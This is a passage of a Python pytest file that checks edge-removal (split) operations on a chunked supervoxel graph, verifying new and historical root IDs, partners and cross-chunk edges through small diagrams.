=> │ 1 2 │ │ │ │ │ └─────┘ └─────┘ """ cgraph = gen_graph(n_layers=2) # Preparation: Build Chunk A fake_timestamp = datetime.utcnow() - timedelta(days=10) create_chunk(cgraph, vertices=[to_label(cgraph, 1, 0, 0, 0, 0), to_label(cgraph, 1, 0, 0, 0, 1)], edges=[(to_label(cgraph, 1, 0, 0, 0, 0), to_label(cgraph, 1, 0, 0, 0, 1), 0.5)], timestamp=fake_timestamp) # Split new_root_ids = cgraph.remove_edges("Jane Doe", to_label(cgraph, 1, 0, 0, 0, 1), to_label(cgraph, 1, 0, 0, 0, 0), mincut=False) # Check New State assert len(new_root_ids) == 2 assert cgraph.get_root(to_label(cgraph, 1, 0, 0, 0, 0)) != cgraph.get_root(to_label(cgraph, 1, 0, 0, 0, 1)) partners, affinities, areas = cgraph.get_atomic_partners(to_label(cgraph, 1, 0, 0, 0, 0)) assert len(partners) == 0 partners, affinities, areas = cgraph.get_atomic_partners(to_label(cgraph, 1, 0, 0, 0, 1)) assert len(partners) == 0 leaves = np.unique(cgraph.get_subgraph_nodes(cgraph.get_root(to_label(cgraph, 1, 0, 0, 0, 0)))) assert len(leaves) == 1 and to_label(cgraph, 1, 0, 0, 0, 0) in leaves leaves = np.unique(cgraph.get_subgraph_nodes(cgraph.get_root(to_label(cgraph, 1, 0, 0, 0, 1)))) assert len(leaves) == 1 and to_label(cgraph, 1, 0, 0, 0, 1) in leaves # Check Old State still accessible assert cgraph.get_root(to_label(cgraph, 1, 0, 0, 0, 0), time_stamp=fake_timestamp) == \ cgraph.get_root(to_label(cgraph, 1, 0, 0, 0, 1), time_stamp=fake_timestamp) partners, affinities, areas = cgraph.get_atomic_partners(to_label(cgraph, 1, 0, 0, 0, 0), time_stamp=fake_timestamp) assert len(partners) == 1 and partners[0] == to_label(cgraph, 1, 0, 0, 0, 1) partners, affinities, areas = cgraph.get_atomic_partners(to_label(cgraph, 1, 0, 0, 0, 1), time_stamp=fake_timestamp) assert len(partners) == 1 and partners[0] == to_label(cgraph, 1, 0, 0, 0, 0) leaves = np.unique(cgraph.get_subgraph_nodes(cgraph.get_root(to_label(cgraph, 1, 0, 0, 0, 0), time_stamp=fake_timestamp))) assert len(leaves) == 2 assert to_label(cgraph, 1, 0, 0, 0, 0) in leaves assert to_label(cgraph, 1, 0, 0, 0, 1) in leaves # assert len(cgraph.get_latest_roots()) == 2 # assert len(cgraph.get_latest_roots(fake_timestamp)) == 1 def test_split_nonexisting_edge(self, gen_graph): """ Remove edge between existing RG supervoxels 1 and 2 (same chunk) Expected: Different (new) parents for RG 1 and 2 on Layer two ┌─────┐ ┌─────┐ │ A¹ │ │ A¹ │ │ 1━2 │ => │ 1━2 │ │ | │ │ | │ │ 3 │ │ 3 │ └─────┘ └─────┘ """ cgraph = gen_graph(n_layers=2) # Preparation: Build Chunk A fake_timestamp = datetime.utcnow() - timedelta(days=10) create_chunk(cgraph, vertices=[to_label(cgraph, 1, 0, 0, 0, 0), to_label(cgraph, 1, 0, 0, 0, 1)], edges=[(to_label(cgraph, 1, 0, 0, 0, 0), to_label(cgraph, 1, 0, 0, 0, 1), 0.5), (to_label(cgraph, 1, 0, 0, 0, 2), to_label(cgraph, 1, 0, 0, 0, 1), 0.5)], timestamp=fake_timestamp) # Split new_root_ids = cgraph.remove_edges("Jane Doe", to_label(cgraph, 1, 0, 0, 0, 0), to_label(cgraph, 1, 0, 0, 0, 2), mincut=False) assert len(new_root_ids) == 1 assert len(cgraph.get_atomic_node_partners(to_label(cgraph, 1, 0, 0, 0, 0))) == 1 @pytest.mark.timeout(30) def test_split_pair_neighboring_chunks(self, gen_graph): """ Remove edge between existing RG supervoxels 1 and 2 (neighboring chunks) ┌─────┬─────┐ ┌─────┬─────┐ │ A¹ │ B¹ │ │ A¹ │ B¹ │ │ 1━━┿━━2 │ => │ 1 │ 2 │ │ │ │ │ │ │ └─────┴─────┘ └─────┴─────┘ """ cgraph = gen_graph(n_layers=3) # Preparation: Build Chunk A fake_timestamp = datetime.utcnow() - timedelta(days=10) create_chunk(cgraph, vertices=[to_label(cgraph, 1, 0, 0, 0, 0)], edges=[(to_label(cgraph, 1, 0, 0, 0, 0), to_label(cgraph, 1, 1, 0, 0, 0), 1.0)], timestamp=fake_timestamp) # Preparation: Build Chunk B create_chunk(cgraph, vertices=[to_label(cgraph, 1, 1, 0, 0, 0)], edges=[(to_label(cgraph, 1, 1, 0, 0, 0), to_label(cgraph, 1, 0, 0, 0, 0), 1.0)], timestamp=fake_timestamp) cgraph.add_layer(3, np.array([[0, 0, 0], [1, 0, 0]]), time_stamp=fake_timestamp) # Split new_root_ids = cgraph.remove_edges("Jane Doe", to_label(cgraph, 1, 1, 0, 0, 0), to_label(cgraph, 1, 0, 0, 0, 0), mincut=False) # Check New State assert len(new_root_ids) == 2 assert cgraph.get_root(to_label(cgraph, 1, 0, 0, 0, 0)) != cgraph.get_root(to_label(cgraph, 1, 1, 0, 0, 0)) partners, affinities, areas = cgraph.get_atomic_partners(to_label(cgraph, 1, 0, 0, 0, 0)) assert len(partners) == 0 partners, affinities, areas = cgraph.get_atomic_partners(to_label(cgraph, 1, 1, 0, 0, 0)) assert len(partners) == 0 leaves = np.unique(cgraph.get_subgraph_nodes(cgraph.get_root(to_label(cgraph, 1, 0, 0, 0, 0)))) assert len(leaves) == 1 and to_label(cgraph, 1, 0, 0, 0, 0) in leaves leaves = np.unique(cgraph.get_subgraph_nodes(cgraph.get_root(to_label(cgraph, 1, 1, 0, 0, 0)))) assert len(leaves) == 1 and to_label(cgraph, 1, 1, 0, 0, 0) in leaves # Check Old State still accessible assert cgraph.get_root(to_label(cgraph, 1, 0, 0, 0, 0), time_stamp=fake_timestamp) == \ cgraph.get_root(to_label(cgraph, 1, 1, 0, 0, 0), time_stamp=fake_timestamp) partners, affinities, areas = cgraph.get_atomic_partners(to_label(cgraph, 1, 0, 0, 0, 0), time_stamp=fake_timestamp) assert len(partners) == 1 and partners[0] == to_label(cgraph, 1, 1, 0, 0, 0) partners, affinities, areas = cgraph.get_atomic_partners(to_label(cgraph, 1, 1, 0, 0, 0), time_stamp=fake_timestamp) assert len(partners) == 1 and partners[0] == to_label(cgraph, 1, 0, 0, 0, 0) leaves = np.unique(cgraph.get_subgraph_nodes(cgraph.get_root(to_label(cgraph, 1, 0, 0, 0, 0), time_stamp=fake_timestamp))) assert len(leaves) == 2 assert to_label(cgraph, 1, 0, 0, 0, 0) in leaves assert to_label(cgraph, 1, 1, 0, 0, 0) in leaves assert len(cgraph.get_latest_roots()) == 2 assert len(cgraph.get_latest_roots(fake_timestamp)) == 1 @pytest.mark.timeout(30) def test_split_verify_cross_chunk_edges(self, gen_graph): """ Remove edge between existing RG supervoxels 1 and 2 (neighboring chunks) ┌─────┬─────┬─────┐ ┌─────┬─────┬─────┐ | │ A¹ │ B¹ │ | │ A¹ │ B¹ │ | │ 1━━┿━━3 │ => | │ 1━━┿━━3 │ | │ | │ │ | │ │ │ | │ 2 │ │ | │ 2 │ │ └─────┴─────┴─────┘ └─────┴─────┴─────┘ """ cgraph = gen_graph(n_layers=4) # Preparation: Build Chunk A fake_timestamp = datetime.utcnow() - timedelta(days=10) create_chunk(cgraph, vertices=[to_label(cgraph, 1, 1, 0, 0, 0), to_label(cgraph, 1, 1, 0, 0, 1)], edges=[(to_label(cgraph, 1, 1, 0, 0, 0), to_label(cgraph, 1, 2, 0, 0, 0), inf), (to_label(cgraph, 1, 1, 0, 0, 0), to_label(cgraph, 1, 1, 0, 0, 1), .5)], timestamp=fake_timestamp) # Preparation: Build Chunk B create_chunk(cgraph, vertices=[to_label(cgraph, 1, 2, 0, 0, 0)], edges=[(to_label(cgraph, 1, 2, 0, 0, 0), to_label(cgraph, 1, 1, 0, 0, 0), inf)], timestamp=fake_timestamp) cgraph.add_layer(3, np.array([[0, 0, 0], [1, 0, 0]]), time_stamp=fake_timestamp) cgraph.add_layer(3, np.array([[2, 0, 0], [3, 0, 0]]), time_stamp=fake_timestamp) cgraph.add_layer(4, np.array([[0, 0, 0], [1, 0, 0]]), time_stamp=fake_timestamp) assert cgraph.get_root(to_label(cgraph, 1, 1, 0, 0, 0)) == cgraph.get_root(to_label(cgraph, 1, 1, 0, 0, 1)) assert cgraph.get_root(to_label(cgraph, 1, 1, 0, 0, 0)) == cgraph.get_root(to_label(cgraph, 1, 2, 0, 0, 0)) # Split new_root_ids = cgraph.remove_edges("Jane Doe", to_label(cgraph, 1, 1, 0, 0, 0), to_label(cgraph, 1, 1, 0, 0, 1), mincut=False) svs2 = cgraph.get_subgraph_nodes(new_root_ids[0]) svs1 = cgraph.get_subgraph_nodes(new_root_ids[1]) len_set = {1, 2} assert len(svs1) in len_set len_set.remove(len(svs1)) assert len(svs2) in len_set # Check New State assert len(new_root_ids) == 2 assert cgraph.get_root(to_label(cgraph, 1, 1, 0, 0, 0)) != cgraph.get_root(to_label(cgraph, 1, 1, 0, 0, 1)) assert cgraph.get_root(to_label(cgraph, 1, 1, 0, 0, 0)) == cgraph.get_root(to_label(cgraph, 1, 2, 0, 0, 0)) cc_dict = cgraph.get_atomic_cross_edge_dict(cgraph.get_parent(to_label(cgraph, 1, 1, 0, 0, 0))) assert len(cc_dict[3]) == 1 assert cc_dict[3][0][0] == to_label(cgraph, 1, 1, 0, 0, 0) assert cc_dict[3][0][1] == to_label(cgraph, 1, 2, 0, 0, 0) assert len(cgraph.get_latest_roots()) == 2 assert len(cgraph.get_latest_roots(fake_timestamp)) == 1 @pytest.mark.timeout(30) def test_split_verify_loop(self, gen_graph): """ Remove edge between existing RG supervoxels 1 and 2 (neighboring chunks) ┌─────┬────────┬─────┐ ┌─────┬────────┬─────┐ | │ A¹ │ B¹ │ | │ A¹ │ B¹ │ | │ 4━━1━━┿━━5 │ => | │ 4 1━━┿━━5 │ | │ / │ | │ | │ │ | │ | │ 3 2━━┿━━6 │ | │ 3 2━━┿━━6 │ └─────┴────────┴─────┘ └─────┴────────┴─────┘ """ cgraph = gen_graph(n_layers=4) # Preparation: Build Chunk A fake_timestamp = datetime.utcnow() - timedelta(days=10) create_chunk(cgraph, vertices=[to_label(cgraph, 1, 1, 0, 0, 0), to_label(cgraph, 1, 1, 0, 0, 1), to_label(cgraph, 1, 1, 0, 0, 2), to_label(cgraph, 1, 1, 0, 0, 3)], edges=[(to_label(cgraph, 1, 1, 0, 0, 0), to_label(cgraph, 1, 2, 0, 0, 0), inf), (to_label(cgraph, 1, 1, 0, 0, 1), to_label(cgraph, 1, 2, 0, 0, 1), inf), (to_label(cgraph, 1, 1, 0, 0, 0), to_label(cgraph, 1, 1, 0, 0, 2), .5), (to_label(cgraph, 1, 1, 0, 0, 0), to_label(cgraph, 1, 1, 0, 0, 3), .5)], timestamp=fake_timestamp) # Preparation: Build Chunk B create_chunk(cgraph, vertices=[to_label(cgraph, 1, 2, 0, 0, 0), to_label(cgraph, 1, 2, 0, 0, 1)], edges=[(to_label(cgraph, 1, 2, 0, 0, 0), to_label(cgraph, 1, 1, 0, 0, 0), inf), (to_label(cgraph, 1, 2, 0, 0, 1), to_label(cgraph, 1, 1, 0, 0, 1), inf), (to_label(cgraph, 1, 2, 0, 0, 1), to_label(cgraph, 1, 2, 0, 0, 0), .5)], timestamp=fake_timestamp) cgraph.add_layer(3, np.array([[0, 0, 0], [1, 0, 0]]), time_stamp=fake_timestamp) cgraph.add_layer(3, np.array([[2, 0, 0], [3, 0, 0]]), time_stamp=fake_timestamp) cgraph.add_layer(4, np.array([[0, 0, 0], [1, 0, 0]]), time_stamp=fake_timestamp) assert cgraph.get_root(to_label(cgraph, 1, 1, 0, 0, 0)) == cgraph.get_root(to_label(cgraph, 1, 1, 0, 0, 1)) assert cgraph.get_root(to_label(cgraph, 1, 1, 0, 0, 0)) == cgraph.get_root(to_label(cgraph, 1, 2, 0, 0, 0)) # Split new_root_ids = cgraph.remove_edges("Jane Doe", to_label(cgraph, 1, 1, 0, 0, 0), to_label(cgraph, 1, 1, 0, 0, 2), mincut=False) assert len(new_root_ids) == 2 new_root_ids = cgraph.remove_edges("Jane Doe", to_label(cgraph, 1, 1, 0, 0, 0), to_label(cgraph, 1, 1, 0, 0, 3), mincut=False) assert len(new_root_ids) == 2 cc_dict = cgraph.get_atomic_cross_edge_dict(cgraph.get_parent(to_label(cgraph, 1, 1, 0, 0, 0))) assert len(cc_dict[3]) == 1 cc_dict = cgraph.get_atomic_cross_edge_dict(cgraph.get_parent(to_label(cgraph, 1, 1, 0, 0, 0))) assert len(cc_dict[3]) == 1 assert len(cgraph.get_latest_roots()) == 3 assert len(cgraph.get_latest_roots(fake_timestamp)) == 1 @pytest.mark.timeout(30) def test_split_pair_disconnected_chunks(self, gen_graph): """ Remove edge between existing RG supervoxels 1 and 2 (disconnected chunks) ┌─────┐ ┌─────┐ ┌─────┐ ┌─────┐ │ A¹ │ ... │ Z¹ │ │ A¹ │ ... │ Z¹ │ │ 1━━┿━━━━━┿━━2 │ => │ 1 │ │ 2 │ │ │ │ │ │ │ │ │ └─────┘ └─────┘ └─────┘ └─────┘ """ cgraph = gen_graph(n_layers=9) # Preparation: Build Chunk A fake_timestamp = datetime.utcnow() - timedelta(days=10) create_chunk(cgraph, vertices=[to_label(cgraph, 1, 0, 0, 0, 0)], edges=[(to_label(cgraph, 1, 0, 0, 0, 0), to_label(cgraph, 1, 127, 127, 127, 0), 1.0)], timestamp=fake_timestamp) # Preparation: Build Chunk Z create_chunk(cgraph, vertices=[to_label(cgraph, 1, 127, 127, 127, 0)], edges=[(to_label(cgraph, 1, 127, 127, 127, 0), to_label(cgraph, 1, 0, 0, 0, 0), 1.0)], timestamp=fake_timestamp) cgraph.add_layer(3, np.array([[0x00, 0x00, 0x00]]), time_stamp=fake_timestamp) cgraph.add_layer(3, np.array([[0x7F, 0x7F, 0x7F]]), time_stamp=fake_timestamp) cgraph.add_layer(4, np.array([[0x00, 0x00, 0x00]]), time_stamp=fake_timestamp) cgraph.add_layer(4, np.array([[0x3F, 0x3F, 0x3F]]), time_stamp=fake_timestamp) cgraph.add_layer(5, np.array([[0x00, 0x00, 0x00]]), time_stamp=fake_timestamp) cgraph.add_layer(5, np.array([[0x1F, 0x1F, 0x1F]]), time_stamp=fake_timestamp) cgraph.add_layer(6, np.array([[0x00, 0x00, 0x00]]), time_stamp=fake_timestamp) cgraph.add_layer(6, np.array([[0x0F, 0x0F, 0x0F]]), time_stamp=fake_timestamp) cgraph.add_layer(7, np.array([[0x00, 0x00, 0x00]]), time_stamp=fake_timestamp) cgraph.add_layer(7, np.array([[0x07, 0x07, 0x07]]), time_stamp=fake_timestamp) cgraph.add_layer(8, np.array([[0x00, 0x00, 0x00]]), time_stamp=fake_timestamp) cgraph.add_layer(8, np.array([[0x03, 0x03, 0x03]]), time_stamp=fake_timestamp) cgraph.add_layer(9, np.array([[0x00, 0x00, 0x00], [0x01, 0x01, 0x01]]), time_stamp=fake_timestamp) # Split new_roots = cgraph.remove_edges("Jane Doe", to_label(cgraph, 1, 127, 127, 127, 0), to_label(cgraph, 1, 0, 0, 0, 0), mincut=False) # Check New State assert len(new_roots) == 2 assert cgraph.get_root(to_label(cgraph, 1, 0, 0, 0, 0)) != cgraph.get_root(to_label(cgraph, 1, 127, 127, 127, 0)) partners, affinities, areas = cgraph.get_atomic_partners(to_label(cgraph, 1, 0, 0, 0, 0)) assert len(partners) == 0 partners, affinities, areas = cgraph.get_atomic_partners(to_label(cgraph, 1, 127, 127, 127, 0)) assert len(partners) == 0 leaves = np.unique(cgraph.get_subgraph_nodes(cgraph.get_root(to_label(cgraph, 1, 0, 0, 0, 0)))) assert len(leaves) == 1 and to_label(cgraph, 1, 0, 0, 0, 0) in leaves leaves = np.unique(cgraph.get_subgraph_nodes(cgraph.get_root(to_label(cgraph, 1, 127, 127, 127, 0)))) assert len(leaves) == 1 and to_label(cgraph, 1, 127, 127, 127, 0) in leaves # Check Old State still accessible assert cgraph.get_root(to_label(cgraph, 1, 0, 0, 0, 0), time_stamp=fake_timestamp) == \ cgraph.get_root(to_label(cgraph, 1, 127, 127, 127, 0), time_stamp=fake_timestamp) partners, affinities, areas = cgraph.get_atomic_partners(to_label(cgraph, 1, 0, 0, 0, 0), time_stamp=fake_timestamp) assert len(partners) == 1 and partners[0] == to_label(cgraph, 1, 127, 127, 127, 0) partners, affinities, areas = cgraph.get_atomic_partners(to_label(cgraph, 1, 127, 127, 127, 0), time_stamp=fake_timestamp) assert len(partners) == 1 and partners[0] == to_label(cgraph, 1, 0, 0, 0, 0) leaves = np.unique(cgraph.get_subgraph_nodes(cgraph.get_root(to_label(cgraph, 1, 0, 0, 0, 0), time_stamp=fake_timestamp))) assert len(leaves) == 2 assert to_label(cgraph, 1, 0, 0, 0, 0) in leaves assert to_label(cgraph, 1, 127, 127, 127, 0) in leaves @pytest.mark.timeout(30) def test_split_pair_already_disconnected(self, gen_graph): """ Try to remove edge between already disconnected RG supervoxels 1 and 2 (same chunk). Expected: No change, no error ┌─────┐ ┌─────┐ │ A¹ │ │ A¹ │ │ 1 2 │ => │ 1 2 │ │ │ │ │ └─────┘ └─────┘ """ cgraph = gen_graph(n_layers=2) # Preparation: Build Chunk A fake_timestamp = datetime.utcnow() - timedelta(days=10) create_chunk(cgraph, vertices=[to_label(cgraph, 1, 0, 0, 0, 0), to_label(cgraph, 1, 0, 0, 0, 1)], edges=[], timestamp=fake_timestamp) res_old = cgraph.table.read_rows() res_old.consume_all() # Split with pytest.raises(cg_exceptions.PreconditionError): cgraph.remove_edges("Jane Doe", to_label(cgraph, 1, 0, 0, 0, 1), to_label(cgraph, 1, 0, 0, 0, 0), mincut=False) res_new = cgraph.table.read_rows() res_new.consume_all() # Check if res_old.rows != res_new.rows: warn("Rows were modified when splitting a pair of already disconnected supervoxels. " "While probably not an error, it is an unnecessary operation.") @pytest.mark.timeout(30) def test_split_full_circle_to_triple_chain_same_chunk(self, gen_graph): """ Remove direct edge between RG supervoxels 1 and 2, but leave indirect connection (same chunk) ┌─────┐ ┌─────┐ │ A¹ │ │ A¹ │ │ 1━2 │ => │ 1 2 │ │ ┗3┛ │ │ ┗3┛ │ └─────┘ └─────┘ """ cgraph = gen_graph(n_layers=2) # Preparation: Build Chunk A fake_timestamp = datetime.utcnow() - timedelta(days=10) create_chunk(cgraph, vertices=[to_label(cgraph, 1, 0, 0, 0, 0), to_label(cgraph, 1, 0, 0, 0, 1), to_label(cgraph, 1, 0, 0, 0, 2)], edges=[(to_label(cgraph, 1, 0, 0, 0, 0), to_label(cgraph, 1, 0, 0, 0, 2), 0.5), (to_label(cgraph, 1, 0, 0, 0, 1), to_label(cgraph, 1, 0, 0, 0, 2), 0.5), (to_label(cgraph, 1, 0, 0, 0, 0), to_label(cgraph, 1, 0, 0, 0, 1), 0.3)], timestamp=fake_timestamp) # Split new_root_ids = cgraph.remove_edges("Jane Doe", to_label(cgraph, 1, 0, 0, 0, 1), to_label(cgraph, 1, 0, 0, 0, 0), mincut=False) # Check New State assert len(new_root_ids) == 1 assert cgraph.get_root(to_label(cgraph, 1, 0, 0, 0, 0)) == new_root_ids[0] assert cgraph.get_root(to_label(cgraph, 1, 0, 0, 0, 1)) == new_root_ids[0] assert cgraph.get_root(to_label(cgraph, 1, 0, 0, 0, 2)) == new_root_ids[0] partners, affinities, areas = cgraph.get_atomic_partners(to_label(cgraph, 1, 0, 0, 0, 0)) assert len(partners) == 1 and partners[0] == to_label(cgraph, 1, 0, 0, 0, 2) partners, affinities, areas = cgraph.get_atomic_partners(to_label(cgraph, 1, 0, 0, 0, 1)) assert len(partners) == 1 and partners[0] == to_label(cgraph, 1, 0, 0, 0, 2) partners, affinities, areas = cgraph.get_atomic_partners(to_label(cgraph, 1, 0, 0, 0, 2)) assert len(partners) == 2 assert to_label(cgraph, 1, 0, 0, 0, 0) in partners assert to_label(cgraph, 1, 0, 0, 0, 1) in partners leaves = np.unique(cgraph.get_subgraph_nodes(new_root_ids[0])) assert len(leaves) == 3 assert to_label(cgraph, 1, 0, 0, 0, 0) in leaves assert to_label(cgraph, 1, 0, 0, 0, 1) in leaves assert to_label(cgraph, 1, 0, 0, 0, 2) in leaves # Check Old State still accessible old_root_id = cgraph.get_root(to_label(cgraph, 1, 0, 0, 0, 0), time_stamp=fake_timestamp) assert new_root_ids[0] != old_root_id # assert len(cgraph.get_latest_roots()) == 1 # assert len(cgraph.get_latest_roots(fake_timestamp)) == 1 @pytest.mark.timeout(30) def test_split_full_circle_to_triple_chain_neighboring_chunks(self, gen_graph): """ Remove direct edge between RG supervoxels 1 and 2, but leave indirect connection (neighboring chunks) ┌─────┬─────┐ ┌─────┬─────┐ │ A¹ │ B¹ │ │ A¹ │ B¹ │ │ 1━━┿━━2 │ => │ 1 │ 2 │ │ ┗3━┿━━┛ │ │ ┗3━┿━━┛ │ └─────┴─────┘ └─────┴─────┘ """ cgraph = gen_graph(n_layers=3) # Preparation: Build Chunk A fake_timestamp = datetime.utcnow() - timedelta(days=10) create_chunk(cgraph, vertices=[to_label(cgraph, 1, 0, 0, 0, 0), to_label(cgraph, 1, 0, 0, 0, 1)], edges=[(to_label(cgraph, 1, 0, 0, 0, 0), to_label(cgraph, 1, 0, 0, 0, 1), 0.5), (to_label(cgraph, 1, 0, 0, 0, 1), to_label(cgraph, 1, 1, 0, 0, 0), 0.5), (to_label(cgraph, 1, 0, 0, 0, 0), to_label(cgraph, 1, 1, 0, 0, 0), 0.3)], timestamp=fake_timestamp) # Preparation: Build Chunk B create_chunk(cgraph, vertices=[to_label(cgraph, 1, 1, 0, 0, 0)], edges=[(to_label(cgraph, 1, 1, 0, 0, 0), to_label(cgraph, 1, 0, 0, 0, 1), 0.5), (to_label(cgraph, 1, 1, 0, 0, 0), to_label(cgraph, 1, 0, 0, 0, 0), 0.3)], timestamp=fake_timestamp) cgraph.add_layer(3, np.array([[0, 0, 0], [1, 0, 0]]), time_stamp=fake_timestamp) # Split new_root_ids = cgraph.remove_edges("Jane Doe", to_label(cgraph, 1, 1, 0, 0, 0), to_label(cgraph, 1, 0, 0, 0, 0), mincut=False) # Check New State assert len(new_root_ids) == 1 assert cgraph.get_root(to_label(cgraph, 1, 0, 0, 0, 0)) == new_root_ids[0] assert cgraph.get_root(to_label(cgraph, 1, 0, 0, 0, 1)) == new_root_ids[0] assert cgraph.get_root(to_label(cgraph, 1, 1, 0, 0, 0)) == new_root_ids[0] partners, affinities, areas = cgraph.get_atomic_partners(to_label(cgraph, 1, 0, 0, 0, 0)) assert len(partners) == 1 and partners[0] == to_label(cgraph, 1, 0, 0, 0, 1) partners, affinities, areas = cgraph.get_atomic_partners(to_label(cgraph, 1, 1, 0, 0, 0)) assert len(partners) == 1 and partners[0] == to_label(cgraph, 1, 0, 0, 0, 1) partners, affinities, areas = cgraph.get_atomic_partners(to_label(cgraph, 1, 0, 0, 0, 1)) assert len(partners) == 2 assert to_label(cgraph, 1, 0, 0, 0, 0) in partners assert to_label(cgraph, 1, 1, 0, 0, 0) in partners leaves = np.unique(cgraph.get_subgraph_nodes(new_root_ids[0])) assert len(leaves) == 3 assert to_label(cgraph, 1, 0, 0, 0, 0) in leaves assert to_label(cgraph, 1, 0, 0, 0, 1) in leaves assert to_label(cgraph, 1, 1, 0, 0, 0) in leaves # Check Old State still accessible old_root_id = cgraph.get_root(to_label(cgraph, 1, 0, 0, 0, 0), time_stamp=fake_timestamp) assert new_root_ids[0] != old_root_id assert len(cgraph.get_latest_roots()) == 1 assert len(cgraph.get_latest_roots(fake_timestamp)) == 1 @pytest.mark.timeout(30) def test_split_full_circle_to_triple_chain_disconnected_chunks(self, gen_graph): """ Remove direct edge between RG supervoxels 1 and 2, but leave indirect connection (disconnected chunks) ┌─────┐ ┌─────┐ ┌─────┐ ┌─────┐ │ A¹ │ ... │ Z¹ │ │ A¹ │ ... │ Z¹ │ │ 1━━┿━━━━━┿━━2 │ => │ 1 │ │ 2 │ │ ┗3━┿━━━━━┿━━┛ │ │ ┗3━┿━━━━━┿━━┛ │ └─────┘ └─────┘ └─────┘ └─────┘ """ cgraph = gen_graph(n_layers=9) loc = 2 # Preparation: Build Chunk A fake_timestamp = datetime.utcnow() - timedelta(days=10) create_chunk(cgraph, vertices=[to_label(cgraph, 1, 0, 0, 0, 0), to_label(cgraph, 1, 0, 0, 0, 1)], edges=[(to_label(cgraph, 1, 0, 0, 0, 0), to_label(cgraph, 1, 0, 0, 0, 1), 0.5), (to_label(cgraph, 1, 0, 0, 0, 1), to_label(cgraph, 1, loc, loc, loc, 0), 0.5), (to_label(cgraph, 1, 0, 0, 0, 0), to_label(cgraph, 1, loc, loc, loc, 0), 0.3)], timestamp=fake_timestamp) # Preparation: Build Chunk Z create_chunk(cgraph, vertices=[to_label(cgraph, 1, loc, loc, loc, 0)], edges=[(to_label(cgraph, 1, loc, loc, loc, 0), to_label(cgraph, 1, 0, 0, 0, 1), 0.5), (to_label(cgraph, 1, loc, loc, loc, 0), to_label(cgraph, 1, 0, 0, 0, 0), 0.3)], timestamp=fake_timestamp) for i_layer in range(3, 10): if loc // 2**(i_layer - 3) == 1: cgraph.add_layer(i_layer, np.array([[0, 0, 0], [1, 1, 1]]), time_stamp=fake_timestamp) elif loc // 2**(i_layer - 3) == 0: cgraph.add_layer(i_layer, np.array([[0, 0, 0]]), time_stamp=fake_timestamp) else: cgraph.add_layer(i_layer, np.array([[0, 0, 0]]), time_stamp=fake_timestamp) cgraph.add_layer(i_layer, np.array([[loc // 2**(i_layer - 3), loc // 2**(i_layer - 3), loc // 2**(i_layer - 3)]]), time_stamp=fake_timestamp) assert cgraph.get_root(to_label(cgraph, 1, loc, loc, loc, 0)) == \ cgraph.get_root(to_label(cgraph, 1, 0, 0, 0, 0)) == \ cgraph.get_root(to_label(cgraph, 1, 0, 0, 0, 1)) # Split new_root_ids = cgraph.remove_edges("Jane Doe", to_label(cgraph, 1, loc, loc, loc, 0), to_label(cgraph, 1, 0, 0, 0, 0), mincut=False) # Check New State assert len(new_root_ids) == 1 assert cgraph.get_root(to_label(cgraph, 1, 0, 0, 0, 0)) == new_root_ids[0] assert cgraph.get_root(to_label(cgraph, 1, 0, 0, 0, 1)) == new_root_ids[0] assert cgraph.get_root(to_label(cgraph, 1, loc, loc, loc, 0)) == new_root_ids[0] partners, affinities, areas = cgraph.get_atomic_partners(to_label(cgraph, 1, 0, 0, 0, 0)) assert len(partners) == 1 and partners[0] == to_label(cgraph, 1, 0, 0, 0, 1) partners, affinities, areas = cgraph.get_atomic_partners(to_label(cgraph, 1, loc, loc, loc, 0)) assert len(partners) == 1 and partners[0] == to_label(cgraph, 1, 0, 0, 0, 1) partners, affinities, areas = cgraph.get_atomic_partners(to_label(cgraph, 1, 0, 0, 0, 1)) assert len(partners) == 2 assert to_label(cgraph, 1, 0, 0, 0, 0) in partners assert to_label(cgraph, 1, loc, loc, loc, 0) in partners leaves = np.unique(cgraph.get_subgraph_nodes(new_root_ids[0])) assert len(leaves) == 3 assert to_label(cgraph, 1, 0, 0, 0, 0) in leaves assert to_label(cgraph, 1, 0, 0, 0, 1) in leaves assert to_label(cgraph, 1, loc, loc, loc, 0) in leaves # Check Old State still accessible old_root_id = cgraph.get_root(to_label(cgraph, 1, 0, 0, 0, 0), time_stamp=fake_timestamp) assert new_root_ids[0] != old_root_id assert len(cgraph.get_latest_roots()) == 1 assert len(cgraph.get_latest_roots(fake_timestamp)) == 1 @pytest.mark.timeout(30) def test_split_same_node(self, gen_graph): """ Try to remove (non-existing) edge between RG supervoxel 1 and itself ┌─────┐ │ A¹ │ │ 1 │ => Reject │ │ └─────┘ """ cgraph = gen_graph(n_layers=2) # Preparation: Build Chunk A fake_timestamp = datetime.utcnow() - timedelta(days=10) create_chunk(cgraph, vertices=[to_label(cgraph, 1, 0, 0, 0, 0)], edges=[], timestamp=fake_timestamp) res_old = cgraph.table.read_rows() res_old.consume_all() # Split with pytest.raises(cg_exceptions.PreconditionError): cgraph.remove_edges("Jane Doe", to_label(cgraph, 1, 0, 0, 0, 0), to_label(cgraph, 1, 0, 0, 0, 0), mincut=False) res_new = cgraph.table.read_rows() res_new.consume_all() assert res_new.rows == res_old.rows @pytest.mark.timeout(30) def test_split_pair_abstract_nodes(self, gen_graph): """ Try to remove (non-existing) edge between RG supervoxel 1 and abstract node "2" ┌─────┐ │ B² │ │ "2" │ │ │ └─────┘ ┌─────┐ => Reject │ A¹ │ │ 1 │ │ │ └─────┘ """ cgraph = gen_graph(n_layers=3) # Preparation: Build Chunk A fake_timestamp = datetime.utcnow() - timedelta(days=10) create_chunk(cgraph, vertices=[to_label(cgraph, 1, 0, 0, 0, 0)], edges=[], timestamp=fake_timestamp) # Preparation: Build Chunk B create_chunk(cgraph, vertices=[to_label(cgraph, 1, 1, 0, 0, 0)], edges=[], timestamp=fake_timestamp) cgraph.add_layer(3, np.array([[0, 0, 0], [1, 0, 0]]), time_stamp=fake_timestamp) res_old = cgraph.table.read_rows() res_old.consume_all() # Split with pytest.raises(cg_exceptions.PreconditionError): cgraph.remove_edges("Jane Doe", to_label(cgraph, 1, 0, 0, 0, 0), to_label(cgraph, 2, 1, 0, 0, 1), mincut=False) res_new = cgraph.table.read_rows() res_new.consume_all() assert res_new.rows == res_old.rows @pytest.mark.timeout(30) def test_diagonal_connections(self, gen_graph): """ Create graph with edge between RG supervoxels 1 and 2 (same chunk) and edge between RG supervoxels 1 and 3 (neighboring chunks) ┌─────┬─────┐ │ A¹ │ B¹ │ │ 2━1━┿━━3 │ │ / │ │ ┌─────┬─────┐ │ | │ │ │ 4━━┿━━5 │ │ C¹ │ D¹ │ └─────┴─────┘ """ cgraph = gen_graph(n_layers=3) # Chunk A create_chunk(cgraph, vertices=[to_label(cgraph, 